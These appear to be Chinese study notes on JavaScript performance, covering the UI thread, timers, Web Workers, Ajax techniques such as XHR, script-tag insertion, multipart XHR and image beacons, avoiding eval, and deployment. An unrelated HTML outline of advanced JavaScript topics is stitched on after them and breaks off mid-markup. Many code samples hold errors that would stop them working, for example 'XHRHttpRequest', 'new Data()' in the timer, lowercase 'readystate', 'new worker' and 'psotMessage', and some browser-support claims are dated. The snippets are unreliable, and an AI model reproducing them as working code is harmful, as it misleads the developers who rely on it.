总的来说,大多数浏览器有一个单独的处理进程,它由两个任务所共享:JavaScript任务和用户界面更新任务。每个时刻只有其中一个的操作得以执行,也就是说当JavaScript代码运行时用户界面不能对输入产生反应,反之亦然。或者说,当JavaScript运行时,用户界面就被“锁定”了。管理号JavaScript运行时间对网页应用的性能很重要。 - JavaScript和UI更新共享的进程通常被称作浏览器UI线程(虽然对所有浏览器来说“线程”一词不一定准确)。此UI线程围绕这一个简单的队列系统工作。任务被保存在队列中直至进程空闲。一旦空闲,队列中的下一个任务将被检索和运行。这些任务不是运行JavaScript代码,就是执行UI更新,包括重绘和重排。此进程中最令人感兴趣的部分是每次输入均导致一个或多个任务被加入队列。 - 当所有的UI线程任务执行之后,线程进入空闲状态,并等待更多任务被添加到队列中。空闲状态是理想的,因为所有的用户操作都会立即引发一次UI更新。如果用户企图在任务运行时与页面交互,不仅没有及时的UI更新,而且不会有新的UI更新任务被创建和加入队列。实际上,大多数浏览器在JavaScript运行时停止UI线程队列中的任务,也就是说JavaScript任务必须尽快结束,以免对用户体验照成不良体验。 - 浏览器限制 + 浏览器在JavaScript运行时间上采取了限制。此类限制有两个:调用栈尺寸限制和长时间脚本限制。 - 分解任务 + 因为浏览器定时器精度问题,最好设置延时时间大于25毫秒 + 通常将一个任务分解成一系列子任务。如果一个函数运行时间太长,那么查看它是否可以分解成一系列能够短时间完成的较小的函数。可以将一行代码简单的看作一个原子任务,多行代码组合在一起构成一个独立任务。某些函数可以基于函数调用进行拆分。 + 如果函数运行时间太长,它可以拆分成一系列更小的步骤,把独立方法放在定时器中调用。可以将每个函数放入一个数组。 ````js function saveTask(arr) { var newArr = arr.concat(); setTimeout(function () { var fn= newArr.shift(); fn(); if (newArr.length > 0) { saveTask(newArr); } }, 25) } ```` - 限时运行代码 + 可以使用批处理代码。 + JavaScript可连续运行的最大时间时100毫秒,最好是不要让任何JavaScript代码持续运行超过50毫秒。 + 推荐使用定时器序列,同一时间只有一个定时器存在,只有当这个定时器结束时才创建一个新的定时器。以这种方式使用定时器不会带来性能问题。 + 要在网页应用中限制高频率重复定时器的数量。建议创建一个独立的重复定时器,每次执行多个操作。 ### 网页工人线程--必须在服务器环境下执行 - 自JavaScript诞生以来,还没有办法在浏览器UI线程之外运行代码。网页工人线程API改变了这种状况,它引入一个接口,使代码运行而不占用浏览器UI线程的时间。作为最初的HTML5的一部分,工人线程API已经分离出去成为独立的规范。 + 网页工人线程对网页应用来说是一个潜在的巨大性能提升,因为新的工人线程在自己的线程中运行JavaScript。这意味着,工人线程中的代码运行不仅不会影响浏览器UI,而且也不会影响其他工人线程中运行的代码。 - 工人线程运行的环境 + 由于网页工人线程不绑定UI线程,这也意味着它们将不能访问许多浏览器资源。JavaScript和UI更新共享一个进程的部分原因是它们之间互访频繁,如果这些任务失控将导致糟糕的用户体验。网页工人线程修改DOM将导致用户界面出错,但每个网页工人线程都有自己的全局运行环境,只有JavaScript特性的一个子集可用。工人线程的运行环境由下列部分组成: - 一个浏览器对象,只包含四个属性:appName,appVersion,userAgent和platform - 一个self对象指向全局工人线程对象 - 一个importScripts()方法,使工人线程可以加载外部JavaScript文件。 - 所有的ECMASript对象,诸如OBject,Array,Data,等等 - XMLHttpRequest 构造器 - setTimeout和setInterval方法 - close方法可立即停止工人线程 + 因为网页工人线程有不同的全局运行环境,不能在JaavaScript代码中创建。事实上,需要创建一个完全独立的JavaScript文件,包含那些在工人线程中运行的代码。要创建网页工人线程,必须传入这个JavaScript文件的URL: - var worker=new Worker("code.js") - 此代码一旦执行,将为指定文件创建一个新线程和一个新的工人线程运行环境。此文件被异步下载,直到下载并运行完之后才启动工人线程。 - 工人线程交互 + 工人线程和网页代码通过事件接口进行交互。网页代码可通过postMessage()方法向工人线程传递数据,它接受单个参数,即传递给工人线程的数据。此外,在工人线程中还有onmessage事件句柄用于接受信息。 ````js var worker=new Worker("code.js"); worker.onmessage=function(event){ alert(event.data); } worker.postMessage("Nicholas"); ```` + 工人线程从message事件中接收数据。这里定义了一个onmessage事件句柄,事件对象具有一个data属性存放传入的数据。工人线程可通过它自己的postMessage()方法将信息返回给页面 ````js // inside code.js self.onmessage=function(event){ self.postMessage("Hello," + event.data+"!") } ```` - 最终的字符串结束于工人线程的onmessage事件句柄。消息系统是页面和工人线程之间唯一的交互途径。 + 只有某些类型的数据可以使用postMessage()传递。可以传递原始值(string,number,boolean,null,和undefined),也可以传递Object和Array的实例,其他类型就不允许了。有效数据被序列化,传入或传出工人线程,然后反序列化。即使看上去对象直接穿了过去,实例其实是同一个数据完全独立的表述。视图传递一个不支持的数据类型将导致JavaScript报错。 - 加载外部文件 + 当工人线程通过importScript()方法加载外部的JavaScript文件,它接收一个或多个URL参数,指出要加载的JavaScript文件网址。工人线程以阻塞方式调用importScript(),直到所有文件加载完成并执行之后,脚本才继续执行。由于工人线程在UI线程之外运行,这种阻塞不会影响UI响应。例如: ```js //inside code.js importScripts("file1.js","file2.js"); self.onmessage=function(event){ self.postMessage("Hello, "+event.data+"!") } //此代码第一行包含两个JavaScript文件,它们将在工人线程中使用 ``` #### 实际用途 + 网页工人线程适合于那些纯数据的,或者于浏览器无关的长运行脚本。它看起来用处不大,而网页应用程序中通常有一些数据处理功能受益于工人线程,而不是定时器。 + 考虑这样一个例子,解析一个很大的JSON字符串。假设数据足够大,至少需要500毫秒才能完成解析任务。很显然时间太长了以至于不能允许JavaScript在客户端运行它,因为它会干扰用户体验。此任务难以分解成用于定时器的小段任务,所以工人线程成为理想的解决方案。下面的代码说明了它在网页上的应用。 ````js var worker=new worker("jsonparser.js") worker.onmessage=function(event){ var jsonData=event.data; evaluateData(jsonData); } worker.psotMessage(jsonText); //inside of jsonparser.js self.onmessage=function(event){ var jsonText=event.data; var jsonData=JSON.parse(jsonText); self.postMessage(jsonData); } ```` - 请注意,即使JSON.parse()可能需要500毫秒或更多时间,也没有必要添加跟多代码来分解处理过程。此处理过程发生在一个独立的线程中,所以可以让它一直运行解析过程而不会干扰用户体验。 - 页面使用postMessage()将一个JSON字符串传给工人线程。工人线程在它的onmessage时间句柄中收到这个字符串也就是event.data,然后开始解析它。完成时所产生的JSON对象通过工人线程的postMessage()方法传回页面。然后此对象便成为页面onmessge事件句柄的event.data。请记住,此工程只能在FIrefox3.5和更高版本中运行,而Safari4和Chrome3中,页面和工人线程之间只允许传递字符串。 + 解析一个大字符串只是许多受益于网页工人线程的任务之一。其它可能受益的任务如下: - 编/解码一个大字符串 - 复杂数学运算(包括图像和视频处理) - 给一个大数组排序 ### 总结 - JavaScript和用户界面更新在同一个进行内运行,同一时刻只有其中一个可以运行。着意味着当JavaScript代码正在运行时,用户界面不能响应输入,反之亦然。有效的管理UI线程就是要确保JavaScript不能运行太长时间,以免影响用户体验。最后,请牢记如下几点: + Javascript运行时间不应该超过100毫秒。过长的运行时间导致UI更新出现可察觉的延迟,从而对整个用户体验产生负面影响。 + JavaScript运行期间,浏览器响应用户交互行为存在差异。无论如何,JavaScript长时间运行将导致用户体验混乱和脱节。 + 定时器可用于安排代码推迟执行,它使得你可以将长运行脚本分解成为一系列较小的任务。 + 网页工人线程是新式浏览器才支持的特性,它运行你在UI线程之外运行JavaScript代码而避免锁定UI。 + 网页应用程序越复杂,积极主动的管理UI线程就越显的重要。没有什么JavaScript代码可以重要到允许影响用户体验的程度。 ## Ajax异步JavaScript和XML ### 请求数据 - 有五种常用技术用于向服务器请求数据 + XMLHttpRequest(XHR) + Dynamic script tab insertion 动态脚本标签插入 + iframes + Comet + Multipart XHR 多部分XHR + 在现代高性能JavaScript中使用的三种技术是XHR,动态脚本标签插入和多部分XHR使用Comet和iframe(作为数据传输技术)往往是极限情况。 - XMLHttpRequest + readyState对于4表示整个响应报文已经接收完成可用于操作。 + readyState等于3则表示此时正在与服务器交互,响应报文还在传输之中。着就是所谓的“流”,它是提高数据请求性能的强大工具。 ````js var xhr=new XHRHttpRequest(); xhr.onreadystatechange=function(){ if(xhr.readystate===3){ var data=xhr.responseText; } if(xhr.readystate===4){ var responseHander=xhr.getAllResponseHeaders(); var data=xhr.responseText; } } xhr.open('get',url); xhr.setRequestHander("X-Requested-With","XMLHttpRequest"); xhr.send(); ```` - 动态脚本标签插入 + 该技术克服了XHR的最大限制:它可以从不同域的服务器上获取数据。这是一种黑客技术,而不是实例化一个专用对象,你用JavaScript创建了一个新脚本标签,并将它的源属性设置为一个指向不同域的URL。 + 但是动态脚本标签插入与XHR相比只提供更少的控制。不能通过请求发送信息头。参数只能通过GET方法传递,不能用POST。你不能设置请求超时或重试,实际上,你不需要知道它是否失败了。你必须等待所有数据返回之后才可以访问它们。不能访问响应信息头或者像访问字符串那样访问整个响应报文。 + 最后一点非常重要。因为响应报文被用作脚本标签的源码,它必须是可以执行的JavaScript。你不能使用裸XML,或者裸JSON,任何数据,无论什么格式,必须在一个回调函数之中被组装起来。 + 尽管有这些限制,此技术仍然非常迅速。其响应结果是运行JavaScript,,而不是作为字符串必须被进一步处理。正因为如此,它可以是客户端上获取并解析数据最快的方法。 + 请小心使用这种技术从你不能直接控制的服务器请求数据。JavaScript没有权限和访问控制的概念,所以在你的页面上使用动态脚本标签插入的代码都可以完全控制整个页面。包括修改任何内容,将用户重定向到另一个站点,或跟踪他们在页面上的操作并将数据发送给第三方。使用外部来源的代码时务必非常小心。 - 多部分XHR + 这里介绍最新的技术,多部分XHR(MXHR)允许你只用一个HTTP请求就可以从服务端获取多个资源。它通过将资源(可以是css文件,HTML片段,JavaScript代码,或base64编码的图片)打包成一个由特定分隔符界定的大字符串,从服务器发送到客户端。JavaScript代码处理此长字符串,根据它的媒体类型和其它“信息头”解析每个资源 + 这段PHP代码读取三个图片,并将它们转化成base64字符串。它们之间用一个简单的字符,UNICODE的1,链接起来,然后返回给客户端。 - 图像不是从base64转化成二进制,而是使用data:URL并指定image/jpeg媒体类型。 ````js var req=new XMLHttpRequest(); req.open('GET','mxhr.php'); req.onreadystatechange=function(){ if(req.readyState==4){ splitImages(req.responseText); } } req.send(null); function splitImages(imageString){ var imageData=imageString.split("\u0001"); var imageElement; for(var i=0,len=imageData.length;i<len;i++) { imageElement=document.createElement("img"); imageElement.src='data:image/jpg;base64,'+imageData[i]; document.getElementById('container').appendChild(imageElement); } } ```` ````php <?php header('Content-type:text/html;charset=utf-8'); $images=array('2.png','3.png','1.png','3.png','2.png'); foreach($images as $image){ $image_fh=fopen($image,'r'); $image_data=fread($image_fh,filesize($image)); fclose($image_fh); $payloads[]=base64_encode($image_data); } $newline=chr(1); echo implode($newline,$payloads); ?> ```` - 由于MXHR响应报文越来越大,有必要每个资源收到是立即处理,而不是等待整个报文接收完成。这可以通过监听readyState3实现。 ```js var req=new XHRHttpRequest(); var getLatestPacketInterval,lastLengh=0; req.open('GET',''); req.onreadystatechange=readyStateHandler; function readyStateHandler(){ if(req.readyState===3&&getLatestPacketInterval==null){ getLatestPacketInterval=setInterval(function(){ getLatestPacket(); },25) } if(req.readyState===4){ clearInterval(getLatestPacketInterval); etLatestPacket(); } } function getLatestPacket(){ var length=req.responseText.length; var packet=req.reaponseText.substring(lastLengh,length); processPacket(packet); lastLengh=length; } ``` - 以健壮的方式使用MXHR,有下面这个库: > http://techfoolery.com/mxhr/ + 使用此技术有一些缺点,其中最大的缺点是以此方法获得的资源不能被浏览器缓存。如果你使用MXHR获取一个特定的css文件然后在下一个页面中正常加载它,它不在缓存中。因为整批资源是作为一个长字符串传输的,然后由JavaScript代码分隔。由于没有办法用程序将文件放入浏览器中,所以用这种方法获取的资源也无法存放在那里。 + 老版本IE6,7不正常readyState3或data:URL. + 网站为每个页面使用了独一无二的打包的JavaScript或css文件以减少HTTP请求,因为它们对么个页面来说是唯一的,所以不需要从缓存中获取,除非重新载入特定页面。 + 由于HTTP请求是Ajax中最极端的瓶颈之一,减少其需求数量对整个页面性能有很大影响。尤其是当你将100个图片转化为一个MXHR请求时,Adhoc在现代浏览器上测试了大量图片,其结果显示出此技术比逐个请求快了4到10倍。 ### 发送数据 - 有时你不关心接收数据,而只要将数据发送给服务器。可以发送用户的非私有信息以备日后分析,或者捕获所有脚本错误然后将有关细节发送给服务器进行记录和提示。当数据只需发送给服务器时,有两种广泛应用的技术:XHR和灯标 - HHRHttpRequest + 通过xhr对象的onerror事件可以在失败后重新提交数据。 + 使用XHR将数据发回服务器时,get更快。这个是因为对少量数据来说,向服务器发送一个get请求要占用一个独立的数据包。而一个POST至少发送两个数据包,一个用于信息头。另一个用于POST体。POST更适合域向服务器发送大量数据,即因为它不额外额外数据包的数量,而get在url会限制长度。 - 灯标 + 此技术与动态脚本插入非常类似。JavaScript用于创建一个新的Image对象,将src设置为服务器上一个脚本的URL。此URL包含我们打算通过GET格式传回的键值对数据。注意并没有创建img元素或者将它们插入DOM中。 + (new Image()).src=url+'?'+params; + 服务器取得此数据并保存下来,而不必向客户端返回什么,因此没有实际的图像展示。这是将信息发回服务器的最有效方法。其开销很小,而且任何服务器端错误都不会影响客户端。 + 可以监听Image对象的load事件,可以判断服务器是否成功收到了数据,通过检测服务器返回图片的宽度和高度(如果返回了一张图片)并用宽度或高度判断服务器的状态。(宽度为1表示“成功”,2表示“重试”) + 如果不需要为此响应数据,那么应当发送一个204 No Coutent响应代码,无消息正文。它将阻止客户端继续等待永远不会到来的消息体(后台设置)。 + 灯标是向服务器回送数据最快和最有效的方法。服务器根本不需要发回任何响应正文,所以不比担心客户端下载数据。唯一的缺点就是接收到的响应类型是受限的。如果需要向客户端返回大量数据,那么使用XHR。如果只关心将数据发送到服务器端(可能需要减少的回复),那么使用图像灯标。 #### 数据格式总结 - 总的来说越轻量级的格式越好,最好是JSON和字符分隔的自定义格式( \u0001等字符进行分割)。如果数据集很大或者解析时间成问题,那么就使用这两种格式之一。 - JSON-P数据,用动态脚本标签插入法获取。它将数据视为可运行的JavaScript而不是字符串,解析速度极快。它能够跨域使用,但不应涉及敏感数据。 - 字符分割的自定义格式,使用XHR或动态脚本标签插入技术提取。使用split()解析。此技术在解析非常大数据集时比JSON-P技术略快,而且通常文件尺寸更小。 ### Ajax性能导向 - 缓存数据 + 最快的Ajaxqq就是你不要用到它。有两种主要方法避免发出一个不必要的请求: + 在服务器端,设置HTTP头,确保返回报文将被缓存在浏览器中。 在客户端,于本地缓存已获取的数据,不要多次请求同一个数据。 + 第一种就是最容易设置和维护,而第二个给你最大程度的控制。 - 设置HTTP头 + Expires头设置浏览器应当缓存响应报文的时间。 + 本地缓存数据 - 除了依赖浏览器处理缓存之外,可以用手工方法实现它,直接存储那些从服务器收到的响应报文,将响应报文放在一个对象中,以URL为键值索引它。 - 如果用户可能触发某些动作导致一个或多个报文报废,直接delete删除对应属性,十分方便。 #### 了解Ajax库的限制 - 直接操作XHR对象减少了函数开销,进一步提高了性能,只是放弃使用Ajax库,可能会在古怪的浏览器上遇到一些问题。 #### 总结 - 作为数据格式,纯文本和HTML是高度限制的,但它们可以节省客户端CPU周期。XML被广泛应用普遍支持,但它非常冗长且解析缓慢。 JSON是轻量级的,解析迅速(作为本地代码而不是字符串),交互性与XML相当。字符分割的自定义格式非常轻量,在大量数据集解析时速度最快,但需要编写额外的程序在服务器构造格式,并在客户端解析。 - 当从页面域请求数据时,XHR提供最完善的控制和灵活性,尽管它将所有传入数据视为一个字符串,这有可能降低解析速度。另一方面,动态脚本标签允许跨域请求和本地允许JavaScript,虽然它的接口不够安全,而且也不能读取信息头或响应报文。多部分XHR可减少请求的数量,可一次响应中处理不同文件类型 ,尽管它不能缓存收到的响应报文(是因为多个css文件打包在一起,其它页面有自己的css,复用性不高)。当发送数据时,图像灯标时最简单和最有效的方法。xhr也可用PSOT方法发送大量数据。 - 减少请求数量,可通过JavaScript和css文件打包,或者使用MHXHR。 - 缩短网页的加载时间,在页面其它内容加载之后,使用Ajax获取少量重要文件。 - 确保代码错误不要直接显示给用户,并在服务器处理错误。 - 学会何时使用一个健壮的Ajax,何时编写自己的底层Ajax代码。 ## 编程实践 #### 避免二次评估 - Javascript与许多脚本语言一样,允许你在程序中获取一个包含代码的字符串然后运行它。有四种标准方法可以实现:eval(),Function构造器,setTimeout(),setInterval()。每个函数都允许你传入一串字符串并运行它。 - 当你在JavaScript代码中执行(另一段)JavaScript代码时,你得付出二次评价得代价。此代码首先被评估正常代码,然后在执行过程中,运行字符串中得代码时发生另一次评估。二次评估是一项昂贵得操作,与直接包含相应代码相比占用更长时间。 + 使用eval代替直接代码访问10000个数组项,在不同浏览器上得差异非常巨大。 + 访问数组项时间上巨大差异,是因为每次使用eval时要创建一个新得解释/编译实例。同样得过程也发生在Function(),setTimeout,setInterval上,自动使代码执行速度变慢。 + 避免二次评估使实现最优化得Javascript运行时性能得关键。 #### 使用对象/数组直接量 - 使用直接量赋值很快。作为一个额外的好处,直接量在代码中占用较少的空间,所以整个文件尺寸可以更小。 - 随着对象属性和数组项数的增加,使用直接量的好处也随之增加。直接量比创建一个对象在几乎所以的浏览器中都运行更快。 #### 延时加载 - 本质上就是判断target.addEventListener是否存在,再把当前函数覆盖了。形成一个新函数,在最后调用一次。只要调用了一次,以后调用速度就快了。 - 调用一个延时加载函数总是在第一次使用较长时间。 - 延时加载适用于函数不会在页面上立即被用到的场合。 ```js function addHandler(target,eventType,handler){ if(target.addEventListener){ addHandler=function(target,eventType,handler){ } }else{ addHandler=function(target,eventType,handler){ } } addHandler(); } ``` #### 条件预加载 - 除延时加载之外还有另一种方法称为条件预加载,它在脚本加载之前进行检测,而不是等待函数调用。这样做检测仍只做一次,但在此过程中来的更早。 - 条件预加载确保所有函数调用时间相同。其代价是在脚本加载时进行测试。预加载适用于一个函数马上就会被用到,而且整个页面生命周期中经常使用的场合。 ````js var addHandler=document.body.addEventListener?function(){}:function(){} ```` #### 位操作运算符 - 位掩码操作非常快,操作发生在系统底层,如果许多选项保存在一起并经常检查,位掩码有助于加快整体性能。 #### 原生方法 - 无论你怎么优化JavaScript代码,它永远不会比JavaScript引擎提供的原生方法更快。其原因十分简单:JavaScript的原生部分在你写代码之前它们就已经存在于浏览器中了,都是用底层语言写的,诸如c++。这意味着这些方法被编译成机器码,作为浏览器的一部分,不像你的JavaScript那样有那么多限制。 + 当需要进行复杂计算时,首先查看Math对象。 + 另一个例子时选择器API,可以像使用css选择器那样查询DOM文档。css查询被JavaScript原生实现并通过jQuery这个JavaScript库推广开来。Jquery引擎被认为是最快的css查询引擎,但它仍然比原生方法慢。原生的querySelector(),querySelectorAll()方法完成它们的任务时,平均只需要基于JavaScript的css查询的10%的时间。大多数JavaScript库已经使用了原生函数以提高它们的整体性能。 + 当原生方法可用时,尽量使用它们,尤其时数学运算和DOM操作。用编译后的代码做越多的事情,你的代码就会越快。 #### 总结 - 通过避免使用eval和Function构造器避免二次评估。此外,给setTimeout和setInterval传递函数参数而不是字符串。 - 创建新对象和数组时使用对象直接量和数组直接量。它们比非直接量形式创建和初始化更快。 - 避免重复进行相同工作。当需要检查浏览器时,使用延迟加载或条件预加载。 - 当执行数学运算时,考虑使用位操作,它直接在数字底层进行操作。 - 原生方法总比JavaScript写的东西要快。尽量使用原生方法。 ## 创建并运行部署高性能站点 - 第一个也是最重要的提高网站速度的准则,特别针对那些第一次访问网站的用户,是减少渲染页面所需的HTTP请求的数量。因为合并资源通常能够以相当少的工作为用户赢得最大的潜在利益。 + 一个简单的优化是将某些脚本合并成一个外部JavaScript文件,而不是全部,从而大大降低渲染页面所需HTTP请求的数量。 - 使用内容投递网络 + 内容传递网络(CDN)是按照地理分布的计数器网络,通过以太网负责向最终用户分发内容。使用CDN的重要原因是可靠性,可扩展性,但更重要的是性能。事实上,通过地理位置上最近的位置向客户提供服务,CDN可以极大的减少网络延迟 + 一些大公司维护它们自己的CDN,但通常使用第三方CDN更经济一些。 + 切换到CDN通常只需要改变少量代码,并可能极大的提高最终用户响应速度。 #### 总结 - 合并JavaScript文件,减少HTTP请求的数量 - 使用压缩工具处理JavaScript文件 - 以压缩形式提供JavaScript文件(gzip编码) - 通过设置HTTP响应报文头使用JavaScript文件可缓存,通过向文件名附加时间戳解决缓存问题。 - 使用内容投递网络(CDN)提供JavaScript文件,CDN不仅可以提供性能,它还可以为你管理压缩和缓存。 ## Tools工具 - Profiling 性能分析 - 在脚本运行期间定时执行不同函数和操作,找出需要优化的部分。 - Network analysis 网络分析 - 检查图片,样式表,和脚本的加载过程,汇报它们对整个页面加载和渲染的影响。 - JavaScript性能分析 ````js var Timer={ _data:{}, start:function(key){ Timer._data[key]=new Data(); }, stop:function(key){ var time=Timer._data[key]; if(time){ Timer._data[key]=new Data()-time; } }, getTime:function(key){ return Timer._data[key]; } } ```` <file_sep><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>js高级</title> <style> p { width: 100%; } </style> </head> <body> <div> <h2>JavaScript 高级 (6.10)</h2> <h4>相关资料推荐</h4> <ul> <li>MDN-JavaScript: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript">https://developer.mozilla.org/zh-CN/docs/Web/JavaScript</a></li> <li>JavaScript 高级程序设计(第3版)建议平时有空就看,看书看到的是自己的</li> <li>JavaScript 语言精粹 编写可维护的 JavaScript </li> <li>你不知道的 JavaScript 上 中 下</li> <li>JavaScript 权威指南 稍微有点儿难度</li> <li>JavaScript 面向对象编程指南(第2版) JavaScript 面向对象精要</li> </ul> <h3> 二 基本概念复习</h3> <h4>JavaScript 是什么?</h4> <ul> <li>JavaScript ( JS ) 是一种轻量级解释型的,或是 JIT 编译型的程序设计语言 <ul> <li>解释型:可以在执行阶段为变量赋值和修改数据类型</li> <li>编译型:程序在执行之前就已经确定了类型,一旦定义类型,不可改变</li> <li>后来一些 JavaScript 解析引擎为了提高 JavaScript 执行效率,引入了 JIT 即时编译器</li> <li>执行之前先预编译,然后再执行的过程中再去动态解析</li> </ul> </li> <li>在 JavaScript 语言中最大的特色是什么? <ul> <li>函数是一等公民</li> <li>普通函数 构造函数 Object() Function() 当做参数来传递 函数自调用 当做返回值</li> <li>apply、call、bind </li> <li>函数内部的上下文 this 的指向 函数也对象</li> </ul> </li> <li>有着 函数优先 (First-class Function) 的编程语言。</li> <li>运行与浏览器,浏览器是 JavaScript 代码的执行环境或者说平台</li> <li>JavaScript 除了可以运行在浏览器,也可以运行在别的环境</li> <li>虽然它是作为开发web页面的脚本语言而出名的,但是在很多非浏览器环境中也使用JavaScript,例如 node.js 和 Apache CouchDB。</li> <li>JS是一种基于原型、多范式的动态脚本语言,并且支持面向对象、命令式和声明式(如:函数式编程)编程风格。了解更多 关于JavaScript。 <ul> <li>面向对象 new Object()</li> <li>原型</li> <li>函数式编程 $('selector').css().html().on().css()...</li> </ul> </li> </ul> <h4>JavaScript 的组成</h4> <ul> <li>JavaScript 中的组成,需要看 JavaScript 在哪个环境执行</li> <li>如果 JavaScript 是运行在浏览器中: <ul> <li>浏览器一般有两个引擎:渲染引擎;解析执行 JavaScript 代码的引擎</li> <li>JavaScript 语言本身</li> <li>浏览器环境为 JavaScript 提供的编程接口 BOM DOM</li> </ul> </li> </ul> <h4>JavaScript 可以做什么</h4> <ul> <li>语言本身:条件判断;函数;数组、对象、。。。循环。。</li> <li>特定执行环境(浏览器):使用浏览器提供的编程接口;BOM DOM Ajax;地理定位;Web 存储</li> </ul> <h4>JavaScript 与 EcmaScript 的关系</h4> <ul> <li>EcmaScript 是 JavaScript 的规范;各大浏览器厂商根据标准规范去做出相应的实现</li> <li>JavaScript 是 EcmaScript 的实现 <ul> <li>所以各大浏览器会有实现上的差异</li> <li>Chrome 的 V8 解析引擎目前是公认的最快的</li> <li>Node.js 也是基于 Chrome 的 V8 引擎制造的</li> </ul></li> </ul> <h4>JavaScript 数据类型</h4> <ul> <li>在将一个值赋给变量时,解析器必须确定这个值是基本类型值还是引用类型值。 JavaScript 变量可能包含两种不同数据类型的值:</li> <li>JavaScript 中的基本类型(也叫作值类型): <ul> <li>Undefined</li> <li>Null</li> <li>Boolean</li> <li>Number</li> <li>String</li> </ul> </li> <li>JavaScript 中的复合类型(引用类型): <ul> <li>Object Array Date RegExp Function</li> <li>基本包装类型 Boolean Number String</li> <li>单体内置对象 Global Math</li> </ul> </li> <li>类型检测:typeof(简单类型) instanceof(数组)Object.prototype.toString.apply(引用类型)</li> </ul> <h4>基本类型与引用类型的差别</h4> <ul> <li>基本类型在内存中占据固定大小的空间,因此被保存在栈内存中</li> <li>从一个变量向另一个变量复制基本类型的值,复制的是值的副本</li> <li>引用类型的值是对象,保存在堆内存</li> <li>包含引用类型值的变量实际上包含的并不是对象本身,而是一个指向该对象的指针</li> <li>从一个变量向另一个变量复制引用类型的值的时候,复制是引用指针,因此两个变量最终都指向同一个对象</li> </ul> <h4>面试题:深拷贝与浅拷贝</h4> <ul> <li>面试题目 1:var a = {"x": 1};var b = a;a.x = 2;console.log(b.x);a = {"x": 3};console.log(b.x);a.x = 4;console.log(b.x);</li> <li>面试题目 2:var a = {n: 1};var b = a;a.x = a = {n: 2};console.log(a.x); console.log(b.x);</li> </ul> <h4>JavaScript 运算符优先级</h4> <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">MDN - 运算符优先级</a> <h3>三 JavaScript 面向对象编程</h3> <h4>什么是面向对象:</h4> <ul> <li><a href="https://www.zhihu.com/question/19854505" target="_blank">知乎:如何用一句话说明什么是面向对象思想?</a></li> <li><a href="https://www.zhihu.com/question/31021366" target="_blank">知乎:什么是面向对象编程思想?</a></li> <li>面向对象与面向过程:<ul> <li>面向过程就是亲力亲为,事无巨细,面面俱到,步步紧跟,有条不紊</li> <li>面向对象就是找一个对象,指挥得结果</li> <li>面向对象将执行者转变成指挥者</li> <li>面向对象不是面向过程的替代,而是面向过程的封装</li> </ul></li> <li>面向对象的特性:抽象性;封装性;继承性;[多态性]</li> </ul> <h4>JavaScript 是不是一个面向对象的编程语言?</h4> <ul> <li>不是:相对于传统的语言:Java、C#、C++ 之类的语言,JavaScript 中没有类的概念</li> <li>是:JavaScript 里面也可以使用 new 语法来创建实例化对象,而且基本上都是对象:Object、Array、RegExp。。。</li> <li>到底是什么:JavaScript 是一个多范式编程语言;面向过程;面向对象;函数式编程</li> </ul> <h4>什么是对象</h4> <ul> <li>在实际开发中,对象是一个抽象的概念,可以将其简单理解为:数据集或功能集</li> <li>ECMAScript-262 把对象定义为:无序属性的集合,其属性可以包含基本值、对象或者函数。 严格来讲,这就相当于说对象是一组没有特定顺序的值。对象的每个属性或方法都有一个名字,而每个名字都 映射到一个值。</li> <li>提示:每个对象都是基于一个引用类型创建的,这些类型可以是系统内置的原生类型,也可以是开发人员自定义的类型。</li> <li>总结:对象是一组键值对;对象本身就是封装的一种体现</li> </ul> <h4>创建对象</h4> <ul> <li>原始模式的改进:工厂模式;通过工厂模式解决了创建多个相似对象代码冗余的问题, 但却没有解决对象识别的问题(即怎样知道一个对象的类型)。</li> <li>工厂模式的改进:构造函数 </li> <li>使用 constructor 属性可以用来确认实例和构造函数之间的关系,实例对象都具有一个 constructor 属性,可以获取创建该实例的构造函数 实例的 constructor 属性不严谨,推荐使用 instanceof 操作符</li> </ul> <h4>原型对象 prototype</h4> <ul> <li>原型与继承:对构造函数来说,原型对象是它的一个属性。 对实例来说,原型对象是它的原型</li> <li> 原型对象的一个应用:通过修改原型对象扩展原生构造函数内置方法</li> <li>实例对象无法修改原型对象中的普通类型数据</li> <li>如果实例去修改原型对象中的引用类型数据,就真的修改了</li> <li>建议:将普通数据放到构造函数中,将函数放到原型中</li> <li>__proto__属性为非标准属性,因此具有兼容问题</li> </ul> <h4>补充知识</h4> <ul> <li>isPrototypeOf() 该用来判断,某个 proptotype 对象和某个实例之间的关系</li> <li>hasOwnProperty()每个实例对象都有一个 hasOwnProperty() 方法,用来判断某一个属性到底是本地属性,还是继承自 prototype 对象的属性 </li> <li>in 运算符 in 运算符可以用来判断,某个实例是否含有某个属性,不管是不是本地属性</li> <li>自定义校验某个属性是否属于原型属性: hasProtypeProperty()</li> </ul> <h4>附录 A 代码规范</h4> <ul> <li>代码风格 <ul> <li><a href="https://github.com/feross/standard">JavaScript Standard Style</a> </li> <li><a href="https://github.com/airbnb/javascript">Airbnb JavaScript Style Guide() </a> </li> </ul> </li> <li> 校验工具 <ul> <li><a href="https://github.com/douglascrockford/JSLint">JSLint</a> </li> <li><a href="https://github.com/jshint/">jshint</a> </li> <li><a href="https://github.com/eslint/eslint">ESLint</a> </li> </ul></li> </ul> <h4>附录 B Chrome 调试工具的使用</h4> <ul> <li>调试面板各大功能菜单栏介绍</li> <li>Elements 选择元素:Ctrl + Shift + c;切换设备:Ctrl + Shift + m</li> <li>Console JavaScript REPL</li> <li>Sources 查看网站资源文件资源 使用 Chrome 的 Sources 作为编辑器;在 Sources 面板按下 ESC 键可以查看切换 Console</li> <li>Network 查看网络请求</li> <li>Timeline 代码执行时间线</li> <li>Profiles 查看分析网页性能</li> <li>Application 查看执行环境资源,例如本地存储、Web 缓存、Web 数据库 等</li> <li>Security Audits</li> <li>断点调试 <ul> <li>设置断点:在具体代码的行号位置的侧边栏单击变为蓝色的标记;注意观察右侧 Breakpoints 可以管理我们设置的断点;启用和关闭所有断点:Ctrl + F8</li> <li>逐步执行:快捷键:F11 或者 Ctrl + ;浅蓝色表示已经执行过了,淡蓝色表示即将执行</li> <li>变量监视:右键变量 -> Add to watch;在 Watch 面板中添加要监视的成员</li> <li>逐过程执行:遇到普通语句和逐步的效果是一样的;遇到函数调用会跳过函数执行过程</li> <li>继续执行:遇到断点会挺住,否则直接执行结束</li> <li>条件断点</li> </ul> </li> </ul> <h4>附录 C 文档相关工具</h4> <ul> <li>Markdown <a href="https://guides.github.com/features/mastering-markdown/">https://guides.github.com/features/mastering-markdown/</a><br> <a 